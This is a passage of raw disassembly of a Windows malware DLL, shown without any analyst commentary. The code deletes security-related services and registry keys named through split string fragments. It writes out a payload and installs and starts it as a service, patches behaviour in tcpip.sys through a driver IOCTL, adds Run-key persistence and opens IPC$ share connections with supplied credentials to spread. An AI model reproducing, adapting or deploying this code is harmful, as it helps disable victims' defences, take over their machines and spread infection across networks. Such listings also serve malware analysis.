ServiceName ; "curityDe" call sub_9AB558 mov [esp+1ACh+var_1AC], offset aEsstatusw ; "esStatusW" mov esi, 80000002h push esi ; hkey call SHDeleteKeyA push offset pszValue ; lpServiceName call sub_9AB558 mov [esp+1ACh+var_1AC], offset aNagerw ; "nagerW" call sub_9AB558 mov [esp+1ACh+var_1AC], offset dword_9A1598 call sub_9AB558 mov [esp+1ACh+var_1AC], offset dword_9A1584 push offset byte_9A1554 ; pszSubKey push esi ; hkey call SHDeleteValueA push offset dword_9A154C ; lpServiceName call sub_9AB558 mov [esp+1ACh+var_1AC], offset dword_9A1544 call sub_9AB558 mov esi, Sleep mov [esp+1ACh+var_1AC], 3A98h call esi ; Sleep lea eax, [esp+1A8h+WSAData] push eax ; lpWSAData push 202h ; wVersionRequested call WSAStartup call sub_9AEC54 test eax, eax jz short loc_9A7967 push [esp+1A8h+var_194] push [esp+1ACh+dwFlags] call sub_9AEFDD pop ecx pop ecx call sub_9A89E8 call sub_9ACFCF loc_9A7967: ; CODE XREF: StartAddress+1C3j call sub_9AB2C3 push 1B7740h ; dwMilliseconds loc_9A7971: ; CODE XREF: StartAddress+213j call esi ; Sleep loc_9A7973: ; CODE XREF: StartAddress+20Cj push ebx ; dwReserved lea eax, [esp+1ACh+dwFlags] push eax ; lpdwFlags call InternetGetConnectedState test eax, eax jz short loc_9A7997 call sub_9ADD9B push 12h pop edi loc_9A798B: ; CODE XREF: StartAddress+20Aj push 927C0h ; dwMilliseconds call esi ; Sleep dec edi jnz short loc_9A798B jmp short loc_9A7973 ; --------------------------------------------------------------------------- loc_9A7997: ; CODE XREF: StartAddress+1F8j push 0EA60h jmp short loc_9A7971 StartAddress endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9A799E(HMODULE hModule) sub_9A799E proc near ; CODE XREF: DllMain(x,x,x)+8Ep Name = byte ptr -210h var_111 = byte ptr -111h Str = byte ptr -110h var_10F = byte ptr -10Fh var_10 = dword ptr -10h ThreadId = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 hModule = dword ptr 8 push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push 3Fh xor eax, eax xor ebx, ebx mov [ebp+Str], bl pop ecx lea edi, [ebp+var_10F] rep stosd stosw stosb call sub_9ABFFB call sub_9AA49F push 104h ; nSize mov edi, offset ExistingFileName ; "c:\\windows\\system32\\oc.dll" push edi ; lpFilename push [ebp+hModule] ; hModule call GetModuleFileNameA push 1 ; int push (offset aUritydescripto+10h) ; lpName mov ds:byte_9B9F2B, bl call sub_9AB5DC pop ecx pop ecx lea eax, [ebp+ThreadId] push eax ; nSize lea eax, [ebp+Str] mov esi, 100h push eax ; lpBuffer mov [ebp+ThreadId], esi call GetComputerNameA lea eax, [ebp+Str] push eax ; Str call strlen push eax lea eax, [ebp+Str] push eax call sub_9A8245 mov ds:dword_9B9F34, eax xor eax, 2F53508Bh push eax ; Seed call srand call rand push 3 pop ecx cdq idiv ecx add edx, 6 push edx push offset aMarnwkcw ; "marnwkcw" call sub_9AB647 call sub_9AB510 push 7 push ds:dword_9B9F34 lea eax, [ebp+Name] push offset aUritydescripto ; "urityDescriptorDacl" push esi ; Count push eax ; Dest call _snprintf add esp, 2Ch lea eax, [ebp+Name] push eax ; lpName push ebx ; bInitialOwner push ebx ; lpMutexAttributes mov [ebp+var_111], bl call CreateMutexA mov ds:hObject, eax call GetLastError mov [ebp+var_8], eax call GetCommandLineA mov esi, StrStrIA push offset Srch push eax mov [ebp+var_4], eax call esi ; StrStrIA test eax, eax jz loc_9A7B3A call sub_9A72CA cmp [ebp+var_8], 0B7h mov [ebp+var_10], eax jz short loc_9A7B14 cmp [ebp+var_8], 5 jz short loc_9A7B14 push ds:hObject ; hObject call CloseHandle call sub_9A74E1 test eax, eax jz short loc_9A7B14 xor edi, edi loc_9A7AE4: ; CODE XREF: sub_9A799E+174j push 0BB8h ; dwMilliseconds call Sleep lea eax, [ebp+Name] push eax ; lpName push ebx ; bInheritHandle push 1 ; dwDesiredAccess call OpenMutexA test eax, eax jnz short loc_9A7B14 call GetLastError cmp eax, 5 jz short loc_9A7B14 inc edi cmp edi, 3 jl short loc_9A7AE4 loc_9A7B14: ; CODE XREF: sub_9A799E+127j ; sub_9A799E+12Dj ... cmp [ebp+var_10], ebx jz short loc_9A7B20 call sub_9A7410 jmp short loc_9A7B33 ; --------------------------------------------------------------------------- loc_9A7B20: ; CODE XREF: sub_9A799E+179j push offset aMarnwkcw ; "marnwkcw" push [ebp+var_4] call esi ; StrStrIA test eax, eax jnz short loc_9A7B33 call sub_9AB1F2 loc_9A7B33: ; CODE XREF: sub_9A799E+180j ; sub_9A799E+18Ej push ebx ; uExitCode call ExitProcess ; --------------------------------------------------------------------------- loc_9A7B3A: ; CODE XREF: sub_9A799E+112j call GetVersion cmp ax, 5 jnz short loc_9A7B60 push offset aOwedace ; "owedAce" push [ebp+var_4] call esi ; StrStrIA test eax, eax jz short loc_9A7B60 call sub_9AA482 call sub_9AA53A jmp short loc_9A7B88 ; --------------------------------------------------------------------------- loc_9A7B60: ; CODE XREF: sub_9A799E+1A6j ; sub_9A799E+1B4j push offset aIalizeacl ; "ializeAcl" push [ebp+var_4] call esi ; StrStrIA test eax, eax jz short loc_9A7B75 call sub_9AA482 jmp short loc_9A7B88 ; --------------------------------------------------------------------------- loc_9A7B75: ; CODE XREF: sub_9A799E+1CEj push offset aScriptor ; "scriptor" push [ebp+var_4] call esi ; StrStrIA test eax, eax jz short loc_9A7B88 call sub_9AA4BC loc_9A7B88: ; CODE XREF: sub_9A799E+1C0j ; sub_9A799E+1D5j ... cmp [ebp+var_8], 0B7h jz short loc_9A7BB3 cmp [ebp+var_8], 5 jz short loc_9A7BB3 lea eax, [ebp+ThreadId] push eax ; lpThreadId push ebx ; dwCreationFlags push ebx ; lpParameter push offset StartAddress ; lpStartAddress push ebx ; dwStackSize push ebx ; lpThreadAttributes call CreateThread push eax ; hObject call CloseHandle jmp short loc_9A7BC7 ; --------------------------------------------------------------------------- loc_9A7BB3: ; CODE XREF: sub_9A799E+1F1j ; sub_9A799E+1F7j call sub_9A722A cmp eax, 0FFFFFFFFh jnz short loc_9A7BC7 push 4 ; dwFlags push ebx ; lpNewFileName push edi ; lpExistingFileName call MoveFileExA loc_9A7BC7: ; CODE XREF: sub_9A799E+213j ; sub_9A799E+21Dj pop edi pop esi pop ebx leave retn sub_9A799E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) _DllMain@12 proc near ; CODE XREF: start+4Bp Name = byte ptr -14h hModule = dword ptr 8 fdwReason = dword ptr 0Ch lpvReserved = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx xor ebx, ebx inc ebx cmp [ebp+fdwReason], ebx push esi push edi jnz loc_9A7C66 mov edi, [ebp+lpvReserved] test edi, edi jz short loc_9A7BEB mov [ebp+hModule], edi loc_9A7BEB: ; CODE XREF: DllMain(x,x,x)+1Aj push [ebp+hModule] ; hLibModule call DisableThreadLibraryCalls test edi, edi jz short loc_9A7C4D call GetCurrentProcessId push eax ; Seed call srand call rand push 7 cdq pop ecx idiv ecx lea eax, [ebp+Name] add edx, 0Ah push edx push eax call sub_9AB647 add esp, 0Ch lea eax, [ebp+Name] push eax ; lpName push 0 ; bInitialOwner push 0 ; lpMutexAttributes call CreateMutexA mov esi, eax test esi, esi jz short loc_9A7C4D call GetLastError cmp eax, 0B7h jnz short loc_9A7C4D push esi ; hObject call CloseHandle xor eax, eax jmp short loc_9A7C68 ; --------------------------------------------------------------------------- loc_9A7C4D: ; CODE XREF: DllMain(x,x,x)+2Aj ; DllMain(x,x,x)+67j ... call GetVersion cmp al, 5 jb short loc_9A7C60 push [ebp+hModule] ; hModule call sub_9A799E pop ecx loc_9A7C60: ; CODE XREF: DllMain(x,x,x)+89j test edi, edi jz short loc_9A7C66 xor ebx, ebx loc_9A7C66: ; CODE XREF: DllMain(x,x,x)+Fj ; DllMain(x,x,x)+96j mov eax, ebx loc_9A7C68: ; CODE XREF: DllMain(x,x,x)+7Fj pop edi pop esi pop ebx leave retn 0Ch _DllMain@12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9A7C6F proc near ; CODE XREF: sub_9A7CD0+157p var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 10h push offset stru_9A26A0 call __SEH_prolog mov edi, ecx or eax, 0FFFFFFFFh mov [ebp+var_1C], eax xor edx, edx mov [ebp+ms_exc.disabled], edx loc_9A7C88: ; CODE XREF: sub_9A7C6F+5Bj mov [ebp+var_20], edx movzx ecx, word ptr [edi+6] cmp edx, ecx jnb short loc_9A7CBA lea ecx, [edx+edx*4] lea ecx, [edi+ecx*8+0F8h] mov esi, [ecx+14h] cmp [ebp+arg_0], esi jb short loc_9A7CC9 mov ebx, [ecx+10h] add ebx, esi cmp [ebp+arg_0], ebx jnb short loc_9A7CC9 mov eax, [ecx+0Ch] sub eax, esi add eax, [ebp+arg_0] mov [ebp+var_1C], eax loc_9A7CBA: ; CODE XREF: sub_9A7C6F+22j or [ebp+ms_exc.disabled], 0FFFFFFFFh call nullsub_2 call __SEH_epilog retn ; --------------------------------------------------------------------------- loc_9A7CC9: ; CODE XREF: sub_9A7C6F+34j ; sub_9A7C6F+3Ej inc edx jmp short loc_9A7C88 sub_9A7C6F endp ; =============== S U B R O U T I N E ======================================= sub_9A7CCC proc near ; DATA XREF: .text:stru_9A26A0o mov eax, [ebp-1Ch] sub_9A7CCC endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=70h sub_9A7CD0 proc near ; CODE XREF: sub_9A7E5A+64p VersionInformation= _OSVERSIONINFOA ptr -0B4h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = byte ptr -8 Buf2 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp lea ebp, [esp-70h] sub esp, 0B4h push esi mov esi, eax cmp word ptr [esi], 5A4Dh jnz loc_9A7E52 mov ecx, [ebp+70h+arg_4] mov eax, [esi+3Ch] add ecx, 0FFFFFF08h cmp eax, ecx jg loc_9A7E52 add eax, esi cmp dword ptr [eax], 4550h mov [ebp+70h+var_18], eax jnz loc_9A7E52 lea eax, [ebp+70h+VersionInformation] push eax ; lpVersionInformation mov [ebp+70h+VersionInformation.dwOSVersionInfoSize], 9Ch call GetVersionExA test eax, eax jz loc_9A7E52 push ebx xor ebx, ebx cmp [ebp+70h+VersionInformation.dwMajorVersion], 5 mov [ebp+70h+var_10], ebx jnz loc_9A7DB7 mov eax, [ebp+70h+arg_4] add eax, 0FFFFFFF7h cmp eax, ebx mov [ebp+70h+Buf2], 0FFh mov [ebp+70h+var_3], 0D6h mov [ebp+70h+var_2], 0C7h mov [ebp+70h+var_1], 5 mov [ebp+70h+var_14], eax jbe loc_9A7E4C loc_9A7D58: ; CODE XREF: sub_9A7CD0+A9j push 4 ; Size lea eax, [ebp+70h+Buf2] push eax ; Buf2 lea eax, [ebx+esi] push eax ; Buf1 call memcmp add esp, 0Ch test eax, eax jnz short loc_9A7D75 cmp byte ptr [ebx+esi+8], 0Ah jz short loc_9A7D80 loc_9A7D75: ; CODE XREF: sub_9A7CD0+9Cj inc ebx cmp ebx, [ebp+70h+var_14] jb short loc_9A7D58 jmp loc_9A7E4C ; --------------------------------------------------------------------------- loc_9A7D80: ; CODE XREF: sub_9A7CD0+A3j cmp ebx, 0FFFFFFFFh jz loc_9A7E4C mov eax, [ebp+70h+var_18] mov esi, [ebx+esi+4] sub esi, [eax+34h] cmp esi, [eax+50h] jnb loc_9A7E4C mov eax, [ebp+70h+arg_0] mov [edi], esi mov [edi+8], eax mov dword ptr [edi+4], 0Ah mov [ebp+70h+var_10], 1 jmp loc_9A7E4C ; --------------------------------------------------------------------------- loc_9A7DB7: ; CODE XREF: sub_9A7CD0+61j cmp [ebp+70h+VersionInformation.dwMajorVersion], 6 jnz loc_9A7E4C cmp [ebp+70h+VersionInformation.dwMinorVersion], ebx jnz loc_9A7E4C mov eax, [ebp+70h+arg_4] add eax, 0FFFFFFEFh cmp eax, ebx mov [ebp+70h+var_2], 8Bh mov [ebp+70h+var_1], 15h mov [ebp+70h+var_C], 83h mov [ebp+70h+var_B], 0FAh mov [ebp+70h+var_A], 0Ah mov [ebp+70h+var_9], 0Fh mov [ebp+70h+var_8], 87h mov [ebp+70h+var_14], eax jbe short loc_9A7E4C loc_9A7DF3: ; CODE XREF: sub_9A7CD0+17Aj push 2 ; Size lea eax, [ebp+70h+var_2] push eax ; Buf2 lea eax, [esi+ebx] push eax ; Buf1 call memcmp add esp, 0Ch test eax, eax jnz short loc_9A7E46 push 5 ; Size lea eax, [ebp+70h+var_C] push eax ; Buf2 lea eax, [ebx+esi+6] push eax ; Buf1 call memcmp add esp, 0Ch test eax, eax jnz short loc_9A7E46 mov ecx, [ebp+70h+var_18] lea eax, [ebx+0Bh] push eax call sub_9A7C6F cmp eax, 0FFFFFFFFh pop ecx jz short loc_9A7E46 and dword ptr [edi+8], 0 mov [edi], eax mov eax, [ebx+esi+0Bh] mov [edi+4], eax mov [ebp+70h+var_10], 1 loc_9A7E46: ; CODE XREF: sub_9A7CD0+137j ; sub_9A7CD0+14Ej ... inc ebx cmp ebx, [ebp+70h+var_14] jb short loc_9A7DF3 loc_9A7E4C: ; CODE XREF: sub_9A7CD0+82j ; sub_9A7CD0+ABj ... mov eax, [ebp+70h+var_10] pop ebx jmp short loc_9A7E54 ; --------------------------------------------------------------------------- loc_9A7E52: ; CODE XREF: sub_9A7CD0+13j ; sub_9A7CD0+27j ... xor eax, eax loc_9A7E54: ; CODE XREF: sub_9A7CD0+180j pop esi add ebp, 70h leave retn sub_9A7CD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9A7E5A proc near ; CODE XREF: sub_9A813F+5Ap FileName = byte ptr -128h var_25 = byte ptr -25h hMem = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push 118h push offset stru_9A26C0 call __SEH_prolog and [ebp+var_1C], 0 mov esi, 104h push esi ; uSize lea eax, [ebp+FileName] push eax ; lpBuffer call GetSystemDirectoryA push esi ; Count push offset aDriversTcpip_s ; "\\drivers\\tcpip.sys" lea eax, [ebp+FileName] push eax ; Dest call strncat mov [ebp+var_25], 0 lea eax, [ebp+FileName] push eax ; lpFileName lea eax, [ebp+var_20] push eax ; int call sub_9AB76E add esp, 14h mov [ebp+hMem], eax test eax, eax jz short loc_9A7EDE and [ebp+ms_exc.disabled], 0 push [ebp+var_20] push [ebp+arg_0] mov edi, [ebp+arg_4] call sub_9A7CD0 pop ecx pop ecx mov [ebp+var_1C], eax jmp short loc_9A7ED1 ; --------------------------------------------------------------------------- loc_9A7ECA: ; DATA XREF: .text:stru_9A26C0o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9A7ECE: ; DATA XREF: .text:stru_9A26C0o mov esp, [ebp+ms_exc.old_esp] loc_9A7ED1: ; CODE XREF: sub_9A7E5A+6Ej or [ebp+ms_exc.disabled], 0FFFFFFFFh push [ebp+hMem] ; hMem call GlobalFree loc_9A7EDE: ; CODE XREF: sub_9A7E5A+55j mov eax, [ebp+var_1C] call __SEH_epilog retn sub_9A7E5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9A7EE7(LPCSTR lpServiceName) sub_9A7EE7 proc near ; CODE XREF: sub_9A7FAE+16Bp ServiceStatus = _SERVICE_STATUS ptr -20h var_4 = dword ptr -4 lpServiceName = dword ptr 8 push ebp mov ebp, esp sub esp, 20h push ebx push esi xor esi, esi push 0F003Fh ; dwDesiredAccess push esi ; lpDatabaseName push esi ; lpMachineName mov [ebp+var_4], esi call OpenSCManagerA mov ebx, eax cmp ebx, esi jz short loc_9A7F41 push edi push 0F01FFh ; dwDesiredAccess push [ebp+lpServiceName] ; lpServiceName push ebx ; hSCManager call OpenServiceA mov edi, eax cmp edi, esi mov esi, CloseServiceHandle jz short loc_9A7F3D lea eax, [ebp+ServiceStatus] push eax ; lpServiceStatus push 1 ; dwControl push edi ; hService call ControlService push edi ; hService mov [ebp+var_4], eax call DeleteService push edi ; hSCObject call esi ; CloseServiceHandle loc_9A7F3D: ; CODE XREF: sub_9A7EE7+3Aj push ebx ; hSCObject call esi ; CloseServiceHandle pop edi loc_9A7F41: ; CODE XREF: sub_9A7EE7+1Ej mov eax, [ebp+var_4] pop esi pop ebx leave retn sub_9A7EE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9A7F48(LPCSTR lpDisplayName, LPCSTR lpBinaryPathName) sub_9A7F48 proc near ; CODE XREF: sub_9A7FAE+108p hSCObject = dword ptr -4 lpDisplayName = dword ptr 8 lpBinaryPathName= dword ptr 0Ch push ebp mov ebp, esp push ecx push esi push 0F003Fh ; dwDesiredAccess xor esi, esi push esi ; lpDatabaseName push esi ; lpMachineName call OpenSCManagerA cmp eax, esi mov [ebp+hSCObject], eax jz short loc_9A7FA9 push ebx push edi push offset Password ; lpPassword push esi ; lpServiceStartName push esi ; lpDependencies push esi ; lpdwTagId push esi ; lpLoadOrderGroup push [ebp+lpBinaryPathName] ; lpBinaryPathName push esi ; dwErrorControl push 3 ; dwStartType push 1 ; dwServiceType push 0F01FFh ; dwDesiredAccess push [ebp+lpDisplayName] ; lpDisplayName push [ebp+lpDisplayName] ; lpServiceName push eax ; hSCManager call CreateServiceA mov edi, CloseServiceHandle mov ebx, eax cmp ebx, esi jz short loc_9A7FA2 push esi ; lpServiceArgVectors push esi ; dwNumServiceArgs push ebx ; hService call StartServiceA push ebx ; hSCObject mov esi, eax call edi ; CloseServiceHandle loc_9A7FA2: ; CODE XREF: sub_9A7F48+4Aj push [ebp+hSCObject] ; hSCObject call edi ; CloseServiceHandle pop edi pop ebx loc_9A7FA9: ; CODE XREF: sub_9A7F48+19j mov eax, esi pop esi leave retn sub_9A7F48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9A7FAE(LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPVOID lpInBuffer) sub_9A7FAE proc near ; CODE XREF: sub_9A813F+73p PathName = byte ptr -234h var_131 = byte ptr -131h FileName = byte ptr -130h ServiceName = byte ptr -2Ch BytesReturned = dword ptr -0Ch var_8 = dword ptr -8 hObject = dword ptr -4 lpBuffer = dword ptr 8 nNumberOfBytesToWrite= dword ptr 0Ch lpInBuffer = dword ptr 10h push ebp mov ebp, esp sub esp, 234h push ebx push esi xor ebx, ebx push edi mov [ebp+var_8], ebx call rand push 5 pop ecx cdq idiv ecx lea eax, [ebp+ServiceName] add edx, ecx push edx push eax call sub_9AB647 pop ecx pop ecx push 104h ; uSize lea eax, [ebp+PathName] push eax ; lpBuffer call GetSystemDirectoryA mov esi, GetTempFileNameA lea eax, [ebp+FileName] push eax ; lpTempFileName push ebx ; uUnique mov edi, offset PrefixString ; "0" push edi ; lpPrefixString lea eax, [ebp+PathName] push eax ; lpPathName mov [ebp+var_131], bl call esi ; GetTempFileNameA test eax, eax jnz short loc_9A803C lea eax, [ebp+PathName] push eax ; lpBuffer push 104h ; nBufferLength call GetTempPathA lea eax, [ebp+FileName] push eax ; lpTempFileName push ebx ; uUnique push edi ; lpPrefixString lea eax, [ebp+PathName] push eax ; lpPathName mov [ebp+var_131], bl call esi ; GetTempFileNameA loc_9A803C: ; CODE XREF: sub_9A7FAE+62j mov esi, CreateFileA push ebx ; hTemplateFile push 80h ; dwFlagsAndAttributes push 2 ; dwCreationDisposition push ebx ; lpSecurityAttributes push 6 ; dwShareMode mov edi, 0C0000000h push edi ; dwDesiredAccess lea eax, [ebp+FileName] push eax ; lpFileName call esi ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+hObject], eax jnz short loc_9A806B xor eax, eax jmp loc_9A813A ; --------------------------------------------------------------------------- loc_9A806B: ; CODE XREF: sub_9A7FAE+B4j lea eax, [ebp+FileName] push 120136h ; int push eax ; lpFileName call sub_9AC163 pop ecx pop ecx push ebx ; lpOverlapped lea eax, [ebp+BytesReturned] push eax ; lpNumberOfBytesWritten push [ebp+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite push [ebp+lpBuffer] ; lpBuffer push [ebp+hObject] ; hFile call WriteFile test eax, eax jz loc_9A8121 mov eax, [ebp+nNumberOfBytesToWrite] cmp [ebp+BytesReturned], eax jnz short loc_9A8121 push [ebp+hObject] ; hObject call CloseHandle lea eax, [ebp+FileName] push eax ; lpBinaryPathName lea eax, [ebp+ServiceName] push eax ; lpDisplayName call sub_9A7F48 pop ecx mov [ebp+hObject], eax pop ecx lea eax, [ebp+FileName] push eax ; lpFileName call DeleteFileA cmp [ebp+hObject], ebx jz short loc_9A8137 push ebx ; hTemplateFile push 80h ; dwFlagsAndAttributes push 2 ; dwCreationDisposition push ebx ; lpSecurityAttributes push ebx ; dwShareMode push edi ; dwDesiredAccess push offset FileName ; "\\\\.\\TcpIp_Perf" call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_9A8115 push ebx ; lpOverlapped lea eax, [ebp+BytesReturned] push eax ; lpBytesReturned push ebx ; nOutBufferSize push ebx ; lpOutBuffer push 0Ch ; nInBufferSize push [ebp+lpInBuffer] ; lpInBuffer push 9C402000h ; dwIoControlCode push esi ; hDevice call DeviceIoControl test eax, eax jz short loc_9A810E mov [ebp+var_8], 1 loc_9A810E: ; CODE XREF: sub_9A7FAE+157j push esi ; hObject call CloseHandle loc_9A8115: ; CODE XREF: sub_9A7FAE+13Bj lea eax, [ebp+ServiceName] push eax ; lpServiceName call sub_9A7EE7 pop ecx jmp short loc_9A8137 ; --------------------------------------------------------------------------- loc_9A8121: ; CODE XREF: sub_9A7FAE+E6j ; sub_9A7FAE+F2j push [ebp+hObject] ; hObject call CloseHandle lea eax, [ebp+FileName] push eax ; lpFileName call DeleteFileA loc_9A8137: ; CODE XREF: sub_9A7FAE+122j ; sub_9A7FAE+171j mov eax, [ebp+var_8] loc_9A813A: ; CODE XREF: sub_9A7FAE+B8j pop edi pop esi pop ebx leave retn sub_9A7FAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=78h sub_9A813F proc near ; CODE XREF: sub_9A7170+9Ap VersionInformation= _OSVERSIONINFOA ptr -0A8h var_14 = word ptr -14h InBuffer = byte ptr -0Ch push ebp lea ebp, [esp-78h] sub esp, 0A8h lea eax, [ebp+78h+VersionInformation] push eax ; lpVersionInformation mov [ebp+78h+VersionInformation.dwOSVersionInfoSize], 9Ch call GetVersionExA test eax, eax jz short loc_9A81BC cmp [ebp+78h+VersionInformation.dwMajorVersion], 5 jnb short loc_9A816A xor eax, eax inc eax jmp short loc_9A81BE ; --------------------------------------------------------------------------- loc_9A816A: ; CODE XREF: sub_9A813F+24j jnz short loc_9A8190 xor eax, eax inc eax cmp [ebp+78h+VersionInformation.dwMinorVersion], 0 jz short loc_9A81BE cmp [ebp+78h+VersionInformation.dwMinorVersion], eax jnz short loc_9A8183 cmp [ebp+78h+var_14], 2 jnb short loc_9A8190 jmp short loc_9A81BE ; --------------------------------------------------------------------------- loc_9A8183: ; CODE XREF: sub_9A813F+39j cmp [ebp+78h+VersionInformation.dwMinorVersion], 2 jnz short loc_9A8190 cmp [ebp+78h+var_14], 0 jz short loc_9A81BE loc_9A8190: ; CODE XREF: sub_9A813F:loc_9A816Aj ; sub_9A813F+40j ... lea eax, [ebp+78h+InBuffer] push eax push 10000000h call sub_9A7E5A test eax, eax pop ecx pop ecx jz short loc_9A81BC lea eax, [ebp+78h+InBuffer] push eax ; lpInBuffer push 1000h ; nNumberOfBytesToWrite push offset dword_9A16A0 ; lpBuffer call sub_9A7FAE add esp, 0Ch jmp short loc_9A81BE ; --------------------------------------------------------------------------- loc_9A81BC: ; CODE XREF: sub_9A813F+1Ej ; sub_9A813F+63j xor eax, eax loc_9A81BE: ; CODE XREF: sub_9A813F+29j ; sub_9A813F+34j ... add ebp, 78h leave retn sub_9A813F endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9A81C3(BYTE Data) sub_9A81C3 proc near ; CODE XREF: sub_9AE6A2+31Ap Data = byte ptr 4 push esi push edi push dword ptr [esp+8+Data] ; Data mov edi, offset word_9A2716 push edi ; lpValueName mov esi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push esi ; lpSubKey push 80000001h ; hKey call sub_9AC0F9 push dword ptr [esp+18h+Data] ; Data push edi ; lpValueName push esi ; lpSubKey push 80000002h ; hKey call sub_9AC0F9 add esp, 20h pop edi pop esi retn sub_9A81C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9A81F5 proc near ; CODE XREF: StartAddress+5Ep var_8 = dword ptr -8 Data = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 and dword ptr [ebp+Data], 0 push esi push edi lea eax, [ebp+Data] push eax ; lpData mov edi, offset word_9A2716 push edi ; lpValueName mov esi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push esi ; lpSubKey push 80000001h ; int call sub_9AC117 lea eax, [ebp+var_8] push eax ; lpData push edi ; lpValueName push esi ; lpSubKey push 80000002h ; int call sub_9AC117 mov eax, [ebp+var_8] add esp, 20h cmp eax, dword ptr [ebp+Data] pop edi pop esi ja short loc_9A823E mov eax, dword ptr [ebp+Data] loc_9A823E: ; CODE XREF: sub_9A81F5+44j mov ecx, [ebp+arg_0] mov [ecx], eax leave retn sub_9A81F5 endp ; =============== S U B R O U T I N E ======================================= sub_9A8245 proc near ; CODE XREF: sub_9A799E+83p ; sub_9A8326+5Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push edi or edi, 0FFFFFFFFh test eax, eax jz short loc_9A8279 mov edx, [esp+4+arg_0] push ebx push esi loc_9A8257: ; CODE XREF: sub_9A8245+30j movzx ecx, byte ptr [edx] push 8 inc edx pop esi loc_9A825E: ; CODE XREF: sub_9A8245+2Dj mov ebx, ecx xor ebx, edi shr edi, 1 test bl, 1 jz short loc_9A826F xor edi, 0EDB88320h loc_9A826F: ; CODE XREF: sub_9A8245+22j shr ecx, 1 dec esi jnz short loc_9A825E dec eax jnz short loc_9A8257 pop esi pop ebx loc_9A8279: ; CODE XREF: sub_9A8245+Aj mov eax, edi pop edi retn sub_9A8245 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9A827D proc near ; CODE XREF: sub_9A86D0+28p Name = word ptr -208h var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 208h push [ebp+arg_0] lea eax, [ebp+Name] push offset aSIpc ; "\\\\%s\\IPC$" push 104h ; Count push eax ; Dest call _snwprintf and [ebp+var_2], 0 add esp, 10h push 1 ; fForce push 0 ; dwFlags lea eax, [ebp+Name] push eax ; lpName call WNetCancelConnection2W xor eax, eax leave retn sub_9A827D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9A82BC(int, LPCWSTR lpUserName, LPCWSTR lpPassword) sub_9A82BC proc near ; CODE XREF: sub_9A86D0+Fp Dest = word ptr -228h var_22 = word ptr -22h Dst = byte ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 lpUserName = dword ptr 0Ch lpPassword = dword ptr 10h push ebp mov ebp, esp sub esp, 228h push esi push [ebp+arg_0] lea eax, [ebp+Dest] push offset aSIpc ; "\\\\%s\\IPC$" push 104h ; Count push eax ; Dest xor esi, esi call _snwprintf push 20h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst mov [ebp+var_22], si call memset add esp, 1Ch push esi ; dwFlags push [ebp+lpUserName] ; lpUserName lea eax, [ebp+Dest] push [ebp+lpPassword] ; lpPassword mov [ebp+var_C], eax lea eax, [ebp+Dst] push eax ; lpNetResource mov [ebp+var_14], 3 mov [ebp+var_10], offset Str call WNetAddConnection2W test eax, eax jnz short loc_9A8321 inc esi loc_9A8321: ; CODE XREF: sub_9A82BC+62j mov eax, esi pop esi leave retn sub_9A82BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9A8326(LPCWSTR lpWideCharStr) sub_9A8326 proc near ; CODE XREF: sub_9A86D0+1Ep FindFileData = _WIN32_FIND_DATAW ptr -864h FileName = word ptr -614h var_40E = word ptr -40Eh Servername = word ptr -40Ch var_206 = word ptr -206h var_204 = byte ptr -204h var_186 = word ptr -186h MultiByteStr = byte ptr -184h var_183 = byte ptr -183h var_80 = byte ptr -80h var_6C = byte ptr -6Ch Dest = word ptr -50h Dst = dword ptr -34h var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_28 = dword ptr -28h Source = word ptr -24h SystemTime = _SYSTEMTIME ptr -1Ch JobId = dword ptr -0Ch NumberOfBytesWritten= dword ptr -8 var_4 = dword ptr -4 